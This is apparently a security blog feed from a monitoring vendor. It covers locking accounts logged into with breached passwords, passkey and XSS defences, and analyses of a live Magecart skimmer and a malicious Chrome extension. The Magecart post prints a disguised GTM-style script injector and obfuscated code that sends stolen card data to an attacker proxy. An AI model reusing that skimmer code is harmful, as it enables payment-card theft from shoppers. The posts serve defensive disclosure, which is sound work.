that because passwords are stored as a salted hash in our database, we don&apos;t have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="757" height="173" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is something that we already do and we will notify users if they login with a password that has been breached since they started using it. This is a great feature, and something that we&apos;ve had for a long time, but it doesn&apos;t quite go far enough. If an attacker has your password and is able to login to your account, there&apos;s a good chance that they&apos;re probably going to ignore this warning and then continue with whatever it is they want to do! What we need to do is immediately suspend your account if we detect a login has occurred with a compromised password.</p><p></p><h3 id="the-new-account-lockout-process">The new account lockout process</h3><p>If you now complete a new authentication to your Report URI account, using a password that has become known to have been breached, your account will be immediately locked and will require a password reset to gain access. There is always a balance to strike with account lockouts because any automated lockout process can introduce Denial-of-Service considerations. In this case, we&apos;re only taking action when the submitted password is already known to be compromised, which means the account is already at material risk. We think requiring a password reset is the safer outcome.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-14.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="488" height="529"></figure><p></p><p>This gives us stronger protection so that if your password later appears in a breach or info-steal dataset, once that password is flagged as having been breached, you know that nobody will be able to use it to gain access to your account.</p><p></p><h3 id="service-wide-improvements">Service-wide improvements</h3><p>Alongside the new automated process above, we have also added new controls to our staff admin portal that allow for the quick and easy locking of an account should it be required. In a recent example, which was what actually triggered this whole response, we had someone email us claiming to have breached our database and accessed user credentials. I knew this was nonsense right away because we don&apos;t store passwords in a recoverable format, but this could cause quite a panic if you were to receive a similar email. The email addresses matched Report URI accounts, and when we checked a small sample through our normal authentication flow, the passwords were valid too. I was able to quickly identify that these emails and passwords had been taken from the <a href="https://haveibeenpwned.com/breach/AlienStealerLogs?ref=scotthelme.ghost.io" rel="noreferrer">ALIEN TXTBASE Info Stealer</a> and were being re-purposed to make it look like we had been breached. The scale of these datasets is enormous. HIBP describes ALIEN TXTBASE as containing 23 billion rows of stealer-log data, including email addresses, the websites they were entered into, and the passwords used. It&apos;s worth knowing about threats like these for when/if you ever find yourself on the receiving end of such an email. We were able to use our new capability to instantly lock these accounts and protect them, requiring the user to reset their password before gaining access again.</p><p></p><h3 id="future-considerations">Future considerations</h3><p>Another persistent threat from info-stealer malware like this is if the malware steals the session cookie of an authenticated session. This presents a completely different set of challenges and is also something that we&apos;re aware of and working on for a future update. For now, I wanted to share this information of what recently happened to us, what we&apos;ve done about it to improve, and what you can do about it if it happens to you.</p><p></p><h3 id="what-should-users-do">What should users do?</h3><p>If you receive a password reset notification from us, complete the reset and make sure the new password is unique to Report URI. We also strongly recommend enabling 2FA, using a password manager, and checking any affected device for malware. If your password came from an info-stealer log, changing the password alone may not be enough if the device is still compromised.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Security considerations when using Passkeys on your website]]></title><description><![CDATA[<p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have</p>]]></description><link>https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/</link><guid isPermaLink="false">697a56f703d4840001b00ea1</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[XSS]]></category><category><![CDATA[CSP]]></category><category><![CDATA[Permissions Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 22 Apr 2026 13:37:22 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg" alt="Security considerations when using Passkeys on your website"><p>Passkeys are awesome and that&apos;s why we implemented them on Report URI! You can <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we&apos;re going to focus on what security considerations you should have once you start using Passkeys and we&apos;ve produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-passkeys-actually-protect">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user&#x2019;s device generates a key pair, the public key is registered with a service like <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after &apos;user verification&apos;, typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn&apos;t storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can&apos;t be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn&apos;t be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! &#x1F389;</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="where-the-threat-model-shifts">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we&apos;re still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains &quot;Can the attacker abuse the authenticated state?&quot;, and this is where traditional attacks like XSS and CSRF remain a real threat. Let&apos;s look at a few examples of the kind of things that can go wrong:</p><p>The first is &quot;session hijacking&quot; (sometimes called &quot;session riding&quot;). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim&#x2019;s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let&apos;s be crystal clear, XSS cannot extract the victim&#x2019;s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href="https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io" rel="noreferrer">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they&apos;re application failures, but a good example of the risks that remain.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="defence-in-depth">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">#1 Top Threat of 2025</a>, so we still have a little way to go here, but nonetheless, there&apos;s a lot we can do! Tactics like context-aware output encoding, avoiding dangerous DOM sinks, validating and sanitising input, and using modern frameworks safely should all feature high on your list of protections. Finally, of course, is Content Security Policy. A strict CSP is one of the strongest controls available for reducing the exploitability of XSS and acts as your final line of defence before bad things happen. Blocking inline scripts, restricting script sources, and removing dangerous execution paths like <code>eval()</code>, all materially improve your resilience. CSP will not compensate for insecure code, and it isn&apos;t meant to, but it can significantly constrain what an attacker can do.</p><p>Following on from a robust CSP, we have Permissions Policy, which is often overlooked. In Passkeys-enabled applications, restricting access to <code>publickey-credentials-get</code> and <code>publickey-credentials-create</code> allows us to control access to WebAuthn API / Credential Management calls. Permissions Policy does not prevent injection, but it does reduce the capabilities available to injected code and helps enforce least privilege across pages and origins. A simple config might look like this delivered as a HTTP response header:</p><p></p><pre><code class="language-`">Permissions-Policy: publickey-credentials-create=(self), publickey-credentials-get=(self)</code></pre><p></p><p>Then there is security of the cookie itself. I wrote about this all the way back in 2017 in a blog post called <a href="https://scotthelme.co.uk/tough-cookies/?ref=scotthelme.ghost.io" rel="noreferrer">Tough Cookies</a>, but here&apos;s a quick summary for you. Session cookies should be <code>HttpOnly</code>, <code>Secure</code>, have an appropriate <code>SameSite</code> policy and use at least the <code>__Secure-</code> prefix (or <code>__Host-</code> prefix where possible).</p><p>Finally, sensitive actions need stronger guarantees than &#x201C;the user has an active session&#x201D;. High-risk operations such as transferring money, changing recovery settings, or managing credentials should require a fresh authentication challenge to ensure that the user is the one at the keyboard initiating the action.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/fort-sharp-duotone-solid.png" class="kg-image" alt="Security considerations when using Passkeys on your website" loading="lazy" width="256" height="256"></figure><p></p><h3 id="read-our-whitepaper">Read our whitepaper</h3><p>If you want more information to really understand the threats that exist in a Passkeys enabled environment, you can download a copy of our white paper that contains detailed information on the problem and the solutions. You can find the white paper on our Passkeys solutions page: <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io">https://report-uri.com/solutions/passkeys_protection</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Fighting an active Magecart Campaign]]></title><description><![CDATA[<p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What</p>]]></description><link>https://scotthelme.ghost.io/fighting-an-active-magecart-campaign/</link><guid isPermaLink="false">69d3d19ad459c7000106a3c5</guid><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 13 Apr 2026 10:48:19 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/magecart-malware-investigation.png" alt="Fighting an active Magecart Campaign"><p>We&#x2019;ve been tracking an active Magecart campaign targeting ecommerce sites, with payloads customised per victim and evasion logic designed to stay hidden from site owners. We spotted it because we monitor what code actually executes in the browser, not just what a site is supposed to load. What we found was a live payment skimmer injecting fake payment forms, stealing card data, and adapting its exfiltration flow when defensive controls got in the way.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-6.png 681w"></a></figure><p></p><h3 id="the-magecart-threat">The Magecart Threat</h3><p>If you&apos;re not familiar with Magecart, we have a <a href="https://report-uri.com/solutions/magecart_protection?ref=scotthelme.ghost.io" rel="noreferrer">dedicated solutions page</a> for it on the Report URI website where you can read more details, but here&apos;s the TLDR;</p><p><em>Attackers find a way to run malicious JavaScript in your site, then use it to steal payment data entered by your visitors.</em></p><p>It is one of the most dangerous forms of client-side compromise because it often leaves little visible trace for the site owner while quietly capturing highly sensitive information.</p><p></p><h3 id="the-initial-compromise">The initial compromise</h3><p>There are many ways that you may initially be compromised, from a traditional XSS attack through to a supply chain compromise, but really, it doesn&apos;t matter how they get their malicious JavaScript in, once the attackers have JS on your page, you have a big problem.</p><p>The recent attack we&apos;ve been tracking starts with this, a simple script injection in <code>&lt;head&gt;</code>, which I&apos;ve prettified here for you.</p><p></p><pre><code class="language-js ">  !function(e, a, n, t, o, r, c) {
        e.GoogleTagManagerLoaderScript = o;        // sets window.GoogleTagManagerLoaderScript = &quot;always&quot;
        r = a.createElement(t),                    // creates a &lt;script&gt; element
        c = a.getElementsByTagName(t)[0],          // finds first &lt;script&gt; in page
        r.async = 1,                               // async load
        r.src = e.atob(&quot;*snip base64*&quot;),           // decodes base64 URL &#x2192; script source
        c.parentNode.insertBefore(r, c)            // injects before first script tag
      }(window, document, 0, &quot;script&quot;, &quot;always&quot;);</code></pre><p></p><p></p><p>What makes this especially effective is how ordinary it looks. Anyone who has spent time inspecting the DOM will have seen almost this exact pattern before. It deliberately mimics the real GTM loader: the same argument structure, the same DOM insertion technique, and the same overall shape. The key difference is that instead of loading <code>gtm.js</code>, it base64-decodes a malicious URL at runtime and injects attacker-controlled JavaScript instead.</p><p>If you base64 decode the URL, it points to a new domain, registered for these attacks, and serves specific payloads on a per-target basis depending on the site name in the path component. Here&apos;s a screenshot of the malware payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1301" height="817" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-5.png 1301w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="targeted-attack">Targeted attack</h3><p>Because the payload is customised per target, it includes a number of more advanced behaviours:</p><p></p><p><strong>Admin detection</strong> - before running, the script uses various techniques to detect if the current site visitor is a WordPress, Magento, PrestaShop, or OpenCart administrator, and if they are, it silently exits. This is a deliberate evasion technique so that store owners who are testing their own site will not see any malicious behaviour.</p><p><strong>Anti-debugging</strong> - the script times a debugger statement using <code>performance.now()</code> and if the elapsed time exceeds the set threshold, indicating a debugger is attached, it sets a flag in <code>localStorage</code> and permanently disables the malware in that browser by setting the <code>already_checked</code> flag.</p><p><strong>Platform fingerprinting</strong> - the script identifies if the ecommerce platform in use is one of WooCommerce, Magento, OpenCart, or PrestaShop, and then applies the correct field selectors and event hooks for that specific platform.</p><p></p><p>This is not a generic opportunistic skimmer. It is a targeted and more capable malware payload designed to evade detection and adapt to the environment it lands in.</p><p></p><h3 id="skimmer-activation">Skimmer activation</h3><p>Once the skimmer is active on a checkout page, it injects a fake payment form into the page, styled to match the original payment form exactly. It will then hook all of the form inputs and select fields which are written to <code>localStorage</code> as the user interacts with them. The submission of the form is then intercepted and the stolen data is exfiltrated, both with a variety of methods depending on the platform being used. One way or another, the skimmer is going to try and grab the data and then exfiltrate it to the drop server controlled by the attackers! But it&apos;s this final part that caught my eye...</p><p></p><h3 id="the-csp-bypass">The CSP Bypass</h3><p>One detail stood out in the payload: the malware explicitly contained logic labelled as a &#x201C;CSP bypass&#x201D;. In reality, this was not a direct defeat of CSP enforcement so much as an adaptive theft technique. When direct exfiltration looked risky, the malware redirected the victim to attacker-controlled infrastructure with the stolen payment data embedded in the URL, then bounced them back to the legitimate site.</p><p></p><pre><code class="language-js">  if(_0x4bb993[&apos;enableCspBypass&apos;]&amp;&amp;_0x4bb993[&apos;cspProxyUrl&apos;]) {
        _0x2a3ee8()&amp;&amp;(console[&apos;log&apos;](&apos;[CSP BYPASS] Redirecting to proxy page...&apos;),console[&apos;log&apos;](&apos;[CSP\x20BYPASS]\x20Proxy\x20URL:&apos;,_0x4bb993[&apos;cspProxyUrl&apos;]),console[&apos;log&apos;](&apos;[CSP BYPASS] Data (base64):&apos;,_0xb0be14));
        localStorage[&apos;setItem&apos;](&apos;already_checked&apos;,&apos;1&apos;);
        const _0x210768=_0x4bb993[&apos;cspProxyUrl&apos;]+&apos;?data=&apos;+encodeURIComponent(_0xb0be14);
        window[&apos;location&apos;][&apos;href&apos;]=_0x210768;
        return;
      }</code></pre><p></p><p></p><p>In other words, the malware was adapting its exfiltration path when it detected an environment where CSP might make a more direct route less reliable. It captured the form submission, encoded the stolen payment data, and sent the victim through attacker infrastructure using <code>window.location.href</code>, with the data passed in the request before returning them to the real site.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png" class="kg-image" alt="Fighting an active Magecart Campaign" loading="lazy" width="1212" height="237" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-7.png 1212w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The attacker now has the stolen credit card data and the endpoint then redirects the user back to the correct page on the target site, making the process completely invisible to the user. Here&apos;s a payment I tried to submit using fake credit card details on the live site:</p><p></p><pre><code class="language-json">{
      &quot;domain&quot;:&quot;https://www.*snip*.com&quot;,
      &quot;data&quot; : {
        &quot;uagent&quot;:&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36&quot;,
        &quot;card&quot;:&quot;4242424242424242&quot;,
        &quot;exp&quot;:&quot;03/27&quot;,
        &quot;cvv&quot;:&quot;144&quot;
      }
    }</code></pre><p></p><p></p><p>Calling this a &#x201C;CSP bypass&#x201D; is slightly misleading. The more important lesson is that once hostile JavaScript is running in the browser, attackers still have a great deal of flexibility in how they capture and move stolen data. That adaptability is exactly what makes these attacks so dangerous.</p><p></p><h3 id="ongoing-threat">Ongoing threat</h3><p>This campaign is still ongoing. While we continue working to understand the wider impact, our visibility naturally allows us to notify only a subset of potentially affected organisations directly. By publishing these findings, and reporting the infrastructure involved, we hope to help defenders identify and disrupt the campaign more broadly.</p><p></p><h3 id="what-defenders-should-do-now">What defenders should do now</h3><p>If you run an ecommerce site, there are a few immediate checks worth making:</p><ul><li>Review any recent changes to scripts loaded on checkout and payment pages.</li><li>Search logs, telemetry, and browser-side monitoring data for requests involving <code>styleoutsperee.com</code>.</li><li>Investigate unexpected redirects or unusual navigation during payment submission flows.</li><li>Check whether any third-party or injected JavaScript could have accessed payment form fields in the browser.</li></ul><p>Even when the server-side environment looks clean, browser-side visibility can reveal malicious behaviour that would otherwise go unnoticed.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>Here are the details:</p><p>Domain: <code>styleoutsperee.com</code> (registered 15th Feb 2026)<br></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. Our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry almost immediately.</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Amazing Refresh — A Malicious Chrome Extension Running Malware in the Browser]]></title><description><![CDATA[<p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though</p>]]></description><link>https://scotthelme.ghost.io/amazing-refresh-a-malicious-chrome-extension-running-malware-in-the-browser/</link><guid isPermaLink="false">69d391eed459c7000106a2f7</guid><category><![CDATA[Report URI]]></category><category><![CDATA[javascript]]></category><category><![CDATA[malware]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 07 Apr 2026 15:05:57 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/amazing-refresh-extension-analysis.png" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser"><p>We recently uncovered a malicious browser extension affecting visitors to customer websites. It injected JavaScript into pages, hijacked outbound clicks through affiliate infrastructure, and quietly monetised user traffic. We spotted it not because a website was compromised, but because we monitor what code actually executes in the browser.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="681" height="98" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-3.png 681w"></a></figure><p></p><p>Even though the customers&apos; website and supply chain were not compromised, the browser was still executing unauthorised JavaScript in the context of their site. That meant we could still see it. From the website owner&#x2019;s point of view, this is outsourced client-side compromise: your visitors can be manipulated, redirected, and monetised while they are on your site, and you may never know it is happening.</p><p></p><h3 id="how-we-do-it">How we do it</h3><p>We collect and process a huge volume of telemetry data at Report URI, and sometimes that data reveals serious problems. Our main goal is to identify malicious behaviour in the JavaScript running on our customers&#x2019; websites, often introduced by traditional attacks like XSS or, more recently, supply-chain compromise. Sometimes, though, the malicious code does not come from the site or its supply chain at all. It comes from the client.</p><p></p><h3 id="browser-extensions">Browser Extensions</h3><p>The <em>only</em> browser extension that I run is the 1Password extension to integrate with my password manager, that&apos;s it. I do not run, and will not run, any other browser extension simply because they terrify me. I don&apos;t feel like many people fully understand the access to your data that a browser extension has. The ability to see what&apos;s on the page, see what you&apos;re typing, change what you see, interact with the DOM, and so much more. Browser extensions are effectively all-powerful and can do almost whatever they want. That&apos;s awesome when they provide legitimate, useful functionality, but you have a really big problem when the extension wants to do something less noble.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-4.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="537" height="170"></figure><p></p><h3 id="amazing-refresh">Amazing Refresh</h3><p>Amazing Refresh presents itself as a simple tab auto-refresher, allowing users to set pages to automatically reload at a defined interval. While this functionality is real and works as advertised, it serves primarily as cover for a sophisticated malware operation running silently in the background.</p><p>Every time a user navigates to any page in any tab, the extension fires a POST request to <code>api.amazingrefresh.com/v1/reload</code>, exfiltrating:</p><ul><li>The current page URL</li><li>The previous page URL (tracking navigation paths across sites)</li><li>Window dimensions and user agent</li><li>Every element ID present on the page</li><li>A unique client identifier tied to the user&apos;s Google Analytics profile</li></ul><p></p><p>Here&apos;s a screenshot of the behaviour firing the request in my local Sandbox.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1609" height="993" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/Screenshot-2026-04-06-120803.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/Screenshot-2026-04-06-120803.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/Screenshot-2026-04-06-120803.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/Screenshot-2026-04-06-120803.png 1609w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="script-injection">Script injection</h3><p>The extension injects a <code>&lt;script&gt;</code> tag directly into every page the user visits, running in the MAIN world &#x2014; the same execution context as the page itself, bypassing Chrome&apos;s content script sandbox. The script injected is whatever URL the C&amp;C server has most recently instructed it to use, stored in <code>chrome.storage.local</code>.</p><p>The default fallback script bundled with the extension (<code>js/reload_helper.js</code>) suppresses <code>beforeunload</code> dialog prompts &#x2014; the &quot;are you sure you want to leave?&quot;<br>browser warnings. This is not accidental; it exists to make redirects performed by the injected payload seamless and invisible to the user. It&apos;s these script injections and external communications to GA that we were detecting and alerting on at Report URI.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png" class="kg-image" alt="Amazing Refresh &#x2014; A Malicious Chrome Extension Running Malware in the Browser" loading="lazy" width="1355" height="547" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-2.png 1355w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="the-malicious-payload">The malicious payload</h3><p>The remotely-delivered script that we observed being served from <code>amazingrefresh.com/js/reload_helper.js</code> is a sophisticated affiliate hijacker that steps through the following process at the time of inspection:</p><p></p><ol><li>Geolocates the user via <code>meetlookup.com</code></li><li>Fetches a list of affiliate domains from a CDN (<code>1752680588.rsc.cdn77.org</code>)</li><li>Intercepts all link 